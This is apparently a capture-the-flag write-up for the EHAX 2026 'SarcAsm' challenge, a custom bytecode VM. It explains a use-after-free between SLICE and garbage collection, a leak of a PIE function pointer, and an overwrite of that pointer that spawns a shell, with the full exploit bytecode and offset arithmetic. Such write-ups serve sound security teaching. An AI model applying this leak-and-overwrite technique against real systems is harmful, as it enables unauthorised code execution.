← Back to EHAX 2026

SarcAsm

Binary Exploitation 157 pts

Challenge

The challenge provides a custom VM binary (sarcasm) that implements a stack-based virtual machine called "SarcAsm". The VM supports assembling text mnemonics into bytecode (--asm mode) and executing bytecode. The goal is to spawn a shell on the remote server at chall.ehax.in:9999.

Analysis

Binary Overview

  • ELF 64-bit PIE stripped binary
  • Implements a stack-based VM with custom opcodes
  • Contains an execve("/bin/sh") wrapper function at offset 0x3000 in the binary
  • The wrapper is referenced by a pointer stored in .data at 0xa010

VM Architecture

The VM uses a tagged value system:

  • Odd values: Tagged integers (actual value = val >> 1)
  • Even values: Pointers to heap objects

Heap objects have a type field at offset 0:

  • Type 1: Buffer (raw byte storage)
  • Type 2: Slice (view into a buffer, shares the data pointer)
  • Type 3: Builtin/native function (contains a function pointer)

All three types share the same layout with a data pointer at offset 0x18. For buffers, user data begins at data+8. For builtins, the function pointer is stored at data+8.

Key Opcodes

OpcodeMnemonicDescription
0x01PUSHPush immediate value
0x02DUPDuplicate top of stack
0x04DROPRemove top of stack
0x20NEWBUFCreate buffer with given capacity
0x21READRead bytes from stdin into buffer
0x22SLICECreate a slice view of a buffer
0x23PRINTBPrint buffer/slice contents to stdout
0x25WRITEBUFWrite bytes from stdin into buffer at offset
0x30GLOADLoad from global variable
0x31GSTOREStore to global variable
0x40BUILTINCreate a builtin function object (index 0 or 1 only)
0x41CALLCall a function object
0x60GCTrigger garbage collection
0xFFHALTStop execution

Builtin Table

Located at 0x9a60 in .data.rel.ro, each entry is 16 bytes (func_ptr, num_args):

  • builtin[0]: 0x31d0 (print integer), 1 argument
  • builtin[1]: 0x2ee0 (no-op), 0 arguments

The BUILTIN instruction enforces that the index is 0 or 1 only.

Custom Allocator

The VM uses a pool allocator with size classes: 16, 32, 64, 128, 256, 512, 1024, 2048, 4096 bytes. Freed data blocks go to per-size-class free lists and are reused by subsequent allocations of the same class.

BUILTIN objects allocate 32-byte data blocks (size class 1).

Vulnerability: Use-After-Free via SLICE

The SLICE instruction creates a view into a buffer by copying the data pointer directly:

slice->data = buffer->data  // Shared pointer, no reference counting!

The garbage collector (GC) does NOT track shared data references. When it frees an object of type 1, 2, or 3, it also frees the associated data block. This means:

  1. If a buffer is created and a slice is made from it, they share the same data pointer
  2. If the slice is freed by GC (unreachable from stack/globals), its shared data block is also freed
  3. The original buffer still holds a now-dangling pointer to the freed data
  4. A new allocation of the same size class can reuse this freed data block

This is a classic use-after-free through shared data.

Exploit Strategy

Step 1: Set up the UAF

NEWBUF 32       ; Create buffer B1 with 32-byte data D1 (size class 1)
DUP             ; Duplicate B1 on stack
GSTORE 0        ; Save B1 in global[0]
DUP             ; Duplicate B1 again
READ 8          ; Read 8 dummy bytes into B1 (sets B1->length = 8)
DUP             ; Duplicate B1
SLICE 0 0       ; Create slice S1 from B1 (S1->data = D1, shared!)
DROP            ; Drop S1 (now unreachable)
GC              ; GC frees S1 AND D1! B1 still alive with dangling data ptr

Step 2: Reuse freed data with BUILTIN

BUILTIN 0       ; Allocates 32-byte data from free list, REUSES D1!
                ; Writes func_ptr (0x31d0+ASLR) to D1+8
GSTORE 1        ; Save builtin in global[1]

Now B1->data and the builtin's data both point to D1. The function pointer at D1+8 is the same memory as B1's buffer content starting at offset 0.

Step 3: Leak the function pointer

GLOAD 0         ; Load B1 (with length=8 from earlier READ)
PRINTB          ; Prints 8 bytes from D1+8 = the builtin's func_ptr!

This leaks the address of print_int (0x31d0 + PIE_base) to stdout.

Step 4: Overwrite function pointer

GLOAD 0         ; Load B1 again
WRITEBUF 0 8    ; Read 8 bytes from stdin, write to D1+8
                ; We send: (leaked_addr - 0x1d0) = execve wrapper address

Step 5: Call the corrupted builtin

PUSH 0          ; Push a dummy argument (builtin[0] expects 1 arg)
GLOAD 1         ; Load the corrupted builtin
CALL 1          ; Calls func_ptr at D1+8 = execve("/bin/sh")!

Computing the execve address

  • Leaked value: print_int at binary offset 0x31d0
  • Target: execve_wrapper at binary offset 0x3000
  • Offset: 0x3000 - 0x31d0 = -0x1d0
  • So: execve_addr = leaked_ptr - 0x1d0

Exploit Code

The assembled bytecode (/tmp/exploit.nvm):

NEWBUF 32
DUP
GSTORE 0
DUP
READ 8
DUP
SLICE 0 0
DROP
GC
BUILTIN 0
GSTORE 1
GLOAD 0
PRINTB
GLOAD 0
WRITEBUF 0 8
PUSH 0
GLOAD 1
CALL 1
HALT

The exploit script sends the bytecode, provides 8 dummy bytes for READ, receives the 8-byte leak, computes the execve address, sends it back via WRITEBUF, and the CALL instruction spawns a shell.